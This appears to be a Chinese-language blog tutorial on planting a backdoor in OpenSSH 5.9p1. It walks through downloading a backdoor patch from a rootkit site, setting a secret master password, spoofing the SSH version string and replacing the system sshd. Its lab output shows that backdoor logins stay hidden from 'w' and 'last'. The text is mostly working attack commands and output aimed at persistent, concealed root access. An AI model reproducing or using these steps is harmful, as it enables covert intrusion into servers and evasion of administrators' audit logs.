下载源码和后门
1 | wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz |
解压
1 | tar -zxvf openssh-5.9p1.tar.gz |
patch
1 | cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1 |
vim includes.h 修改密码SECRETPW
1 | #define ILOG "/tmp/ilog" |
vi inculdes.h 修改ssh版本(原来的)
1 | #define SSH_VERSION "OpenSSH_6.6.1p1, OpenSSL 1.0.1e-fips 11 Feb 2013" |
编译准备
1 | yum install -y openssl openssl-devel pam-devel |
编译
1 | ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 |
有时有权限问题
1 | chmod 600 /etc/ssh/* |
重启服务
1 | # centos7 |
用设置的密码登陆
可以看到不显示登陆状态
last 也没有记录1
2
3
4
5
6
7
8
9root@kali:~# ssh 192.168.50.129
[email protected]'s password:
Last failed login: Fri Nov 11 18:46:59 PST 2016 from 192.168.50.128 on ssh:notty
There were 2 failed login attempts since the last successful login.
Last login: Fri Nov 11 17:56:00 2016
[root@bogon ~]# w
18:50:09 up 1 min, 1 user, load average: 1.16, 0.43, 0.15
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[root@bogon ~]#
但是会显示端口 ¥%&*#%¥#……1
2
3
4
5
6
7
8
9
10
11
12[root@bogon ~]# netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 192.168.50.129:22 192.168.50.128:39240 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:631 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
[root@bogon ~]#
正常账号登陆显示已登陆
1 | root@kali:~# ssh 192.168.50.129 |